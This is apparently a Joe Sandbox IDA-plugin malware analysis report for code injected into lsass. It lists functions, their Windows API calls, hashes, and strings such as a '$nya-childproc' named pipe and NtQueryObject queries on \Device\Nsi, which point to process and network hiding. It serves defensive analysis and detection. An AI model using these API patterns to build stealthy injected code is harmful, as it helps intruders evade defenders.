Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_202c0ae0000_lsass.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 065a3c227d1033dd624f9406cc348b017554f0f94b7651207c823ad3d34cd8d2
Instruction ID: e1e6e0ac71898aeab69aabadab1461bc0982668d0686ebd3bc5e150eb7b2f4ab
Opcode Fuzzy Hash: 065a3c227d1033dd624f9406cc348b017554f0f94b7651207c823ad3d34cd8d2
Instruction Fuzzy Hash: E3F0B464302381C1FF99A7A299CC3ED12805F99B84F0E5433CFAA963C3ED2CC5AC8210

Non-executed Functions

Function 00000202C0AE2FF0 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 256
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 00000202C0AE3094
lstrlenW.KERNEL32 ref: 00000202C0AE32BE

Part of subcall function 00000202C0AE1A30: OpenProcess.KERNEL32 ref: 00000202C0AE1A56
Part of subcall function 00000202C0AE1A30: K32GetModuleFileNameExW.KERNEL32 ref: 00000202C0AE1A74
Part of subcall function 00000202C0AE1A30: PathFindFileNameW.SHLWAPI ref: 00000202C0AE1A83
Part of subcall function 00000202C0AE1A30: lstrlenW.KERNEL32 ref: 00000202C0AE1A8F
Part of subcall function 00000202C0AE1A30: StrCpyW.SHLWAPI ref: 00000202C0AE1AA2
Part of subcall function 00000202C0AE1A30: CloseHandle.KERNEL32 ref: 00000202C0AE1AB0

GetProcAddress.KERNEL32 ref: 00000202C0AE30A9

Part of subcall function 00000202C0AE3F88: StrCmpNIW.SHLWAPI(?,?,?,00000202C0AE272F), ref: 00000202C0AE3FA0

StrCmpNIW.SHLWAPI ref: 00000202C0AE30EC
lstrlenW.KERNEL32 ref: 00000202C0AE3214

Strings

NtQueryObject, xrefs: 00000202C0AE309F
\Device\Nsi, xrefs: 00000202C0AE30DF
ntdll.dll, xrefs: 00000202C0AE308D

Memory Dump Source

Source File: 0000000A.00000002.2350538920.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000A.00000002.2349769408.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2351411359.00000202C0AF5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352197509.00000202C0B00000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352897380.00000202C0B02000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2353504211.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_202c0ae0000_lsass.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 4d584b0e9fffbad4cc31b9baeef7d8a5c9f9b6ed13c09f6337f8d347bcf38d45
Instruction ID: a5aa8d518733a65e72782ac89f22c94750b1b62739d14810ddb664aeb1ab3f90
Opcode Fuzzy Hash: 4d584b0e9fffbad4cc31b9baeef7d8a5c9f9b6ed13c09f6337f8d347bcf38d45
Instruction Fuzzy Hash: 54B17B23218790C2FB688F26D48C7ADA3A4FB54B84F42501BEFA957796DE35CC68C340

Function 00000202C0AE84B0 Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00000202C0AE84CC
RtlCaptureContext.NTDLL ref: 00000202C0AE84F9
RtlLookupFunctionEntry.NTDLL ref: 00000202C0AE8513
RtlVirtualUnwind.NTDLL ref: 00000202C0AE8554
IsDebuggerPresent.KERNEL32 ref: 00000202C0AE85A8
SetUnhandledExceptionFilter.KERNEL32 ref: 00000202C0AE85C5
UnhandledExceptionFilter.KERNEL32 ref: 00000202C0AE85D0

Memory Dump Source

Source File: 0000000A.00000002.2350538920.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000A.00000002.2349769408.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2351411359.00000202C0AF5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352197509.00000202C0B00000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352897380.00000202C0B02000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2353504211.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_202c0ae0000_lsass.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 51ce79795580dd11982ca28bc6e50e7f34313ca15137cb51b6721156f23fd73c
Instruction ID: 1fd1398fcb60db0fd12b5702c5cec2ec559b6403bb8f7bfd8953d4e0478874f3
Opcode Fuzzy Hash: 51ce79795580dd11982ca28bc6e50e7f34313ca15137cb51b6721156f23fd73c
Instruction Fuzzy Hash: 3A313872205B80CAEB648F60E8983EE6364F784744F45412BDB4E47B9AEF39C6588710

Function 00000202C0AECD80 Relevance: 9.1, APIs: 6, Instructions: 86COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 00000202C0AECE0B
RtlLookupFunctionEntry.NTDLL ref: 00000202C0AECE23
RtlVirtualUnwind.NTDLL ref: 00000202C0AECE5E
IsDebuggerPresent.KERNEL32 ref: 00000202C0AECE97
SetUnhandledExceptionFilter.KERNEL32 ref: 00000202C0AECEA1
UnhandledExceptionFilter.KERNEL32 ref: 00000202C0AECEAC

Memory Dump Source

Source File: 0000000A.00000002.2350538920.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000A.00000002.2349769408.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2351411359.00000202C0AF5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352197509.00000202C0B00000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352897380.00000202C0B02000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2353504211.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_202c0ae0000_lsass.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 76c33bf84c009b7db417edaf83874ce51c27584cf70d0f0be3d694c1c6751581
Instruction ID: bdf96c80047f6ea7879b7296cb0b1e392bde7b83cf83d084ea18cef059749d5e
Opcode Fuzzy Hash: 76c33bf84c009b7db417edaf83874ce51c27584cf70d0f0be3d694c1c6751581
Instruction Fuzzy Hash: 88413B37214B80D6EB60CB25E88879E73A4F788798F510217EB9D47B9ADF39C559CB00

Function 00000202C0AEDA18 Relevance: 6.2, APIs: 4, Instructions: 240fileCOMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32 ref: 00000202C0AEDB99
FindNextFileW.KERNEL32 ref: 00000202C0AEDCCF
FindClose.KERNEL32 ref: 00000202C0AEDD0F
FindClose.KERNEL32 ref: 00000202C0AEDD3B

Memory Dump Source

Source File: 0000000A.00000002.2350538920.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000A.00000002.2349769408.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2351411359.00000202C0AF5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352197509.00000202C0B00000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352897380.00000202C0B02000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2353504211.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Find$CloseFile$FirstNext
String ID:
API String ID: 1164774033-0
Opcode ID: 30129107364e07a24944f029efc6e57ddf7bba8b8a305cfb4bfa64c3d4dd41e4
Instruction ID: 6cd45a926ae4f196c66121e0907c686aba8d01625abc602bf4e60f2acf2c76ac
Opcode Fuzzy Hash: 30129107364e07a24944f029efc6e57ddf7bba8b8a305cfb4bfa64c3d4dd41e4
Instruction Fuzzy Hash: 21A1C7227047C1C9FF20DB75A8CC3AD6BA1E781794F164117DFE92B69ADA38C469C700

Function 00000202C0AE12B8 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000202C0AE1315
GetProcessHeap.KERNEL32 ref: 00000202C0AE1323
HeapAlloc.KERNEL32 ref: 00000202C0AE1334
RegEnumValueW.ADVAPI32 ref: 00000202C0AE1393

Part of subcall function 00000202C0AE1530: StrCmpIW.SHLWAPI ref: 00000202C0AE1561

GetProcessHeap.KERNEL32 ref: 00000202C0AE13DB
HeapAlloc.KERNEL32 ref: 00000202C0AE13E9
GetProcessHeap.KERNEL32 ref: 00000202C0AE1406
HeapFree.KERNEL32 ref: 00000202C0AE1414
lstrlenW.KERNEL32 ref: 00000202C0AE141D
GetProcessHeap.KERNEL32 ref: 00000202C0AE142B
HeapAlloc.KERNEL32 ref: 00000202C0AE1439
StrCpyW.SHLWAPI ref: 00000202C0AE145B
GetProcessHeap.KERNEL32 ref: 00000202C0AE1472
HeapFree.KERNEL32 ref: 00000202C0AE1480

Strings

d, xrefs: 00000202C0AE1356

Memory Dump Source

Source File: 0000000A.00000002.2350538920.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000A.00000002.2349769408.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2351411359.00000202C0AF5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352197509.00000202C0B00000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352897380.00000202C0B02000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2353504211.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 09f32700ea8f2ab6ca5eb204845fa7f8e408035f576c0366055c572951769e92
Instruction ID: 0346aae0ca31cfc5446ed893382cb8ac7576f5295399881bb2bb3007a05736cd
Opcode Fuzzy Hash: 09f32700ea8f2ab6ca5eb204845fa7f8e408035f576c0366055c572951769e92
Instruction Fuzzy Hash: E7515872600B84DAE724DF62E88C35EB7A1F788F99F464126DB8907759EF39C0598700

Function 00000202C0AEEF88 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 140
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32(?,00000100,00000000,00000202C0AEF34A,?,?,00000000,00000202C0AEF2CD), ref: 00000202C0AEEFF5
GetLastError.KERNEL32(?,?,00000000,00000202C0AEF2CD), ref: 00000202C0AEF007
LoadLibraryExW.KERNEL32(?,?,00000000,00000202C0AEF2CD), ref: 00000202C0AEF049
VirtualProtect.KERNEL32 ref: 00000202C0AEF0A5
VirtualProtect.KERNEL32 ref: 00000202C0AEF0D6
FreeLibrary.KERNEL32(?,?,00000000,00000202C0AEF2CD), ref: 00000202C0AEF11A
GetProcAddress.KERNEL32(?,?,00000000,00000202C0AEF2CD), ref: 00000202C0AEF126

Strings

AppPolicyGetProcessTerminationMethod, xrefs: 00000202C0AEF157, 00000202C0AEF165
ext-ms-, xrefs: 00000202C0AEF02E
api-ms-, xrefs: 00000202C0AEF01B

Memory Dump Source

Source File: 0000000A.00000002.2350538920.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000A.00000002.2349769408.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2351411359.00000202C0AF5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352197509.00000202C0B00000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352897380.00000202C0B02000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2353504211.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Library$LoadProtectVirtual$AddressErrorFreeLastProc
String ID: AppPolicyGetProcessTerminationMethod$api-ms-$ext-ms-
API String ID: 740688525-1880043860
Opcode ID: 76271e0e5533c610f4bce9abf661b1e9c3d7f925dc4d85dc9c81cd2c8526c81c
Instruction ID: c9050c799cc8b24d351ecbc0e2456b50b0823dadf38651cf09021ade24b1e00f
Opcode Fuzzy Hash: 76271e0e5533c610f4bce9abf661b1e9c3d7f925dc4d85dc9c81cd2c8526c81c
Instruction Fuzzy Hash: 7451B022701794D1FA249B66A88C7AD2290FB48BB0F4A07279FBD473D2EF38D55D8640

Function 00000202C0AE33A8 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 74
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PdhGetCounterInfoW.PDH ref: 00000202C0AE33FD
GetProcessHeap.KERNEL32 ref: 00000202C0AE3412
HeapAlloc.KERNEL32 ref: 00000202C0AE3420
PdhGetCounterInfoW.PDH ref: 00000202C0AE3436
StrCmpW.SHLWAPI ref: 00000202C0AE344B

Part of subcall function 00000202C0AE3950: StrCmpNW.SHLWAPI ref: 00000202C0AE3972
Part of subcall function 00000202C0AE3950: StrStrW.SHLWAPI ref: 00000202C0AE3990
Part of subcall function 00000202C0AE3950: StrToIntW.SHLWAPI ref: 00000202C0AE39B7

GetProcessHeap.KERNEL32 ref: 00000202C0AE3488
HeapFree.KERNEL32 ref: 00000202C0AE3496

Strings

\GPU Engine(*)\Running Time, xrefs: 00000202C0AE3444

Memory Dump Source

Source File: 0000000A.00000002.2350538920.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000A.00000002.2349769408.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2351411359.00000202C0AF5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352197509.00000202C0B00000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352897380.00000202C0B02000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2353504211.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Heap$CounterInfoProcess$AllocFree
String ID: \GPU Engine(*)\Running Time
API String ID: 1943346504-1805530042
Opcode ID: 3c893031c2ac124323773ad806ea6b122c6292a63b4d30b410812c40362314f8
Instruction ID: da826e7b8d6e7ca4cec740dbf7bba15f3c3c47d0d85c22e92d3f34e745d80f34
Opcode Fuzzy Hash: 3c893031c2ac124323773ad806ea6b122c6292a63b4d30b410812c40362314f8
Instruction Fuzzy Hash: 2E31F723604B81D6F721DF22A88C75DA3A0F788BC6F464627EF9943766DF38C4698340

Function 00000202C0AE34B8 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PdhGetCounterInfoW.PDH ref: 00000202C0AE3516
GetProcessHeap.KERNEL32 ref: 00000202C0AE3527
HeapAlloc.KERNEL32 ref: 00000202C0AE3535
PdhGetCounterInfoW.PDH ref: 00000202C0AE354B
StrCmpW.SHLWAPI ref: 00000202C0AE3560

Part of subcall function 00000202C0AE3950: StrCmpNW.SHLWAPI ref: 00000202C0AE3972
Part of subcall function 00000202C0AE3950: StrStrW.SHLWAPI ref: 00000202C0AE3990
Part of subcall function 00000202C0AE3950: StrToIntW.SHLWAPI ref: 00000202C0AE39B7

GetProcessHeap.KERNEL32 ref: 00000202C0AE358D
HeapFree.KERNEL32 ref: 00000202C0AE359B

Strings

\GPU Engine(*)\Utilization Percentage, xrefs: 00000202C0AE3559

Memory Dump Source

Source File: 0000000A.00000002.2350538920.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000A.00000002.2349769408.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2351411359.00000202C0AF5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352197509.00000202C0B00000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352897380.00000202C0B02000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2353504211.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Heap$CounterInfoProcess$AllocFree
String ID: \GPU Engine(*)\Utilization Percentage
API String ID: 1943346504-3507739905
Opcode ID: 4dfb6054f5336d4a701c3ca7a3d18610e9584f8b2694925bec2ac2df63a9e25f
Instruction ID: 863d4c81c0bb7533973f4be5efafb84a7b862018384b7cbbeae244933c129245
Opcode Fuzzy Hash: 4dfb6054f5336d4a701c3ca7a3d18610e9584f8b2694925bec2ac2df63a9e25f
Instruction Fuzzy Hash: 6C316B23614B81CAFB14DF26A8CC75DA3E0F784F95F4641279F9A43726EF38D8598600

Function 00000202C0AB962C Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000202C0AB9689

Part of subcall function 00000202C0ABA544: __GetUnwindTryBlock.LIBCMT ref: 00000202C0ABA587
Part of subcall function 00000202C0ABA544: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00000202C0ABA5AC

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00000202C0AB9761
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00000202C0AB99AF
std::bad_alloc::bad_alloc.LIBCMT ref: 00000202C0AB9ABC

Strings

csm, xrefs: 00000202C0AB970A
csm, xrefs: 00000202C0AB96A3
csm, xrefs: 00000202C0AB9784

Memory Dump Source

Source File: 0000000A.00000003.2182941443.00000202C0AB0000.00000040.00000400.00020000.00000000.sdmp, Offset: 00000202C0AB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_3_202c0ab0000_lsass.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 99dcd42e55987f84e0a9dbea2fa1ae191c477915d496a4e3a9a042af50ac5220
Instruction ID: c8547640cb286afa299405946a8124958e51512830d2469bcbb3e32d4079da4f
Opcode Fuzzy Hash: 99dcd42e55987f84e0a9dbea2fa1ae191c477915d496a4e3a9a042af50ac5220
Instruction Fuzzy Hash: 9DD15932604B80CAFB609F6994CC3AD77A0F755798F12021BEB8957B9BDB38C599C704

Function 00000202C0AEA22C Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000202C0AEA289

Part of subcall function 00000202C0AEB144: __GetUnwindTryBlock.LIBCMT ref: 00000202C0AEB187
Part of subcall function 00000202C0AEB144: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00000202C0AEB1AC

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00000202C0AEA361
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00000202C0AEA5AF
std::bad_alloc::bad_alloc.LIBCMT ref: 00000202C0AEA6BC

Strings

csm, xrefs: 00000202C0AEA2A3
csm, xrefs: 00000202C0AEA384
csm, xrefs: 00000202C0AEA30A

Memory Dump Source

Source File: 0000000A.00000002.2350538920.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000A.00000002.2349769408.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2351411359.00000202C0AF5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352197509.00000202C0B00000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352897380.00000202C0B02000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2353504211.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_202c0ae0000_lsass.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 037bd7d014dbf073bd717ac1516acd742bbf86a7991252edd6e45b1783c3a634
Instruction ID: a8d0328bd7ace5f1ad4107d746fc22be05e34ce5d332c004736b100ae6b30142
Opcode Fuzzy Hash: 037bd7d014dbf073bd717ac1516acd742bbf86a7991252edd6e45b1783c3a634
Instruction Fuzzy Hash: 5DD17972604B80CAFB20DB65948C39D77A0F766788F160217EBE957B9BDB34D4A9C700

Function 00000202C0AE104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000202C0AE10B1
RegEnumValueW.ADVAPI32 ref: 00000202C0AE1117
GetProcessHeap.KERNEL32 ref: 00000202C0AE115A
HeapAlloc.KERNEL32 ref: 00000202C0AE1168
GetProcessHeap.KERNEL32 ref: 00000202C0AE1185
HeapFree.KERNEL32 ref: 00000202C0AE1193

Strings

d, xrefs: 00000202C0AE10D6

Memory Dump Source

Source File: 0000000A.00000002.2350538920.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000A.00000002.2349769408.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2351411359.00000202C0AF5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352197509.00000202C0B00000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352897380.00000202C0B02000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2353504211.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 214df63eb12f5006524d9de65027155270ac54fbc8f89443ffbfb24959d92ecf
Instruction ID: 12129625d553530f9360fb6b3d3905575b46989a33bec7f90b4e235278d54632
Opcode Fuzzy Hash: 214df63eb12f5006524d9de65027155270ac54fbc8f89443ffbfb24959d92ecf
Instruction Fuzzy Hash: 90417173214B84DAF760CF21E48879E77A1F388B98F45821ADB8907758DF39D459CB40

Function 00000202C0AE2518 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 44
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 00000202C0AE252D
GetCurrentProcessId.KERNEL32 ref: 00000202C0AE2537
CreateFileW.KERNEL32 ref: 00000202C0AE2568
WriteFile.KERNEL32 ref: 00000202C0AE2590
ReadFile.KERNEL32 ref: 00000202C0AE25AF
CloseHandle.KERNEL32 ref: 00000202C0AE25B8

Strings

\\.\pipe\$nya-childproc, xrefs: 00000202C0AE2549

Memory Dump Source

Source File: 0000000A.00000002.2350538920.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000A.00000002.2349769408.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2351411359.00000202C0AF5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352197509.00000202C0B00000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352897380.00000202C0B02000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2353504211.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_202c0ae0000_lsass.jbxd

Similarity

API ID: File$Process$CloseCreateCurrentHandleReadThreadWrite
String ID: \\.\pipe\$nya-childproc
API String ID: 166002920-3933612297
Opcode ID: 2f0528e3c87d94e1cfa1c202f0bfd1f6cfafc65532576ba32c2772f85af7f427
Instruction ID: d33db17a6a3834e504e60fa23096d5bdff287254edc6079e3c59764f330a6822
Opcode Fuzzy Hash: 2f0528e3c87d94e1cfa1c202f0bfd1f6cfafc65532576ba32c2772f85af7f427
Instruction Fuzzy Hash: 8C113732614B40C2F710CB21F49C75E7760F389BD4F954216EBA946AA9CF3DC148CB44

Function 00000202C0AB7050 Relevance: 12.2, APIs: 8, Instructions: 227COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000202C0AB7078
__scrt_acquire_startup_lock.LIBCMT ref: 00000202C0AB70CA
_RTC_Initialize.LIBCMT ref: 00000202C0AB70F8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000202C0AB711E
__scrt_release_startup_lock.LIBCMT ref: 00000202C0AB7149

Memory Dump Source

Source File: 0000000A.00000003.2182941443.00000202C0AB0000.00000040.00000400.00020000.00000000.sdmp, Offset: 00000202C0AB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_3_202c0ab0000_lsass.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 53754b190eade9ddf9a12de580ea1969ce11fb76c0c5d26610c7ca44f503f6dd
Instruction ID: 22b18ffbf591b9dc89f632c02f4c28f659f76ce7d48a6708a250f2a210a7424c
Opcode Fuzzy Hash: 53754b190eade9ddf9a12de580ea1969ce11fb76c0c5d26610c7ca44f503f6dd
Instruction Fuzzy Hash: 9F81D530600741CAFB64AB69A8CD39D26D0AB86780F07612BDF09477D7DBB9CA4E8710

Function 00000202C0AE7C50 Relevance: 12.2, APIs: 8, Instructions: 227COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000202C0AE7C78
__scrt_acquire_startup_lock.LIBCMT ref: 00000202C0AE7CCA
_RTC_Initialize.LIBCMT ref: 00000202C0AE7CF8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000202C0AE7D1E
__scrt_release_startup_lock.LIBCMT ref: 00000202C0AE7D49

Memory Dump Source

Source File: 0000000A.00000002.2350538920.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000A.00000002.2349769408.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2351411359.00000202C0AF5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352197509.00000202C0B00000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2352897380.00000202C0B02000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2353504211.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 53754b190eade9ddf9a12de580ea1969ce11fb76c0c5d26610c7ca44f503f6dd
Instruction ID: 90553422afb251b2333bb3ab516386814491dc1bf468d3212e086abda9a642d1
Opcode Fuzzy Hash: 53754b190eade9ddf9a12de580ea1969ce11fb76c0c5d26610c7ca44f503f6dd
Instruction Fuzzy Hash: 6981E4716103C1C6FA54EB6598CD3AD6290AB85784F574117ABE8473D7EF38CA6E8700

Function 00000202C0AE9AAC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

